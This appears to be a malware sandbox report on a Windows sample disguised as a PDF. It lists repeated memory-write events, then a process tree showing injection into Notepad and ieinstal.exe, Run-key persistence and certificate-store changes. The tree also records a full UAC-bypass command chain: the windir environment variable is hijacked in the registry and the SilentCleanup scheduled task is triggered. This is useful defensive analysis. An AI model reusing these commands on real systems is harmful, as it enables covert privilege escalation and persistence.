CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 35 PID 388 wrote to memory of 1468 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 35 PID 388 wrote to memory of 1468 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 35 PID 388 wrote to memory of 1468 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 35 PID 388 wrote to memory of 1468 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 35 PID 388 wrote to memory of 1468 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 35 PID 2012 wrote to memory of 676 2012 cmd.exe 36 PID 2012 wrote to memory of 676 2012 cmd.exe 36 PID 2012 wrote to memory of 676 2012 cmd.exe 36 PID 2012 wrote to memory of 676 2012 cmd.exe 36 PID 388 wrote to memory of 1468 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 35 PID 388 wrote to memory of 1468 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 35 PID 388 wrote to memory of 1468 388 OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe 35 PID 2012 wrote to memory of 1008 2012 cmd.exe 37 PID 2012 wrote to memory of 1008 2012 cmd.exe 37 PID 2012 wrote to memory of 1008 2012 cmd.exe 37 PID 2012 wrote to memory of 1008 2012 cmd.exe 37 PID 660 wrote to memory of 1740 660 Notepad.exe 38 PID 660 wrote to memory of 1740 660 Notepad.exe 38 PID 660 wrote to memory of 1740 660 Notepad.exe 38 PID 660 wrote to memory of 1740 660 Notepad.exe 38
Processes
-
C:\Users\Admin\AppData\Local\Temp\OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe"C:\Users\Admin\AppData\Local\Temp\OC CVE6535 _TVOP-MIO 10(C) 2020,pdf.exe"1⤵
- Adds Run key to start application
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:388 -
C:\Windows\SysWOW64\Notepad.exe"C:\Windows\System32\Notepad.exe"2⤵PID:660
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Public\Natso.bat3⤵PID:2012
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:1756
-
-
C:\Windows\SysWOW64\reg.exereg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\x.bat reg delete hkcu\Environment /v windir /f && REM "4⤵
- Modifies registry key
PID:1568
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I4⤵PID:676
-
-
C:\Windows\SysWOW64\reg.exereg delete hkcu\Environment /v windir /f4⤵
- Modifies registry key
PID:1008
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Users\Public\Natso.bat3⤵PID:1740
-
-
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"2⤵PID:1468
-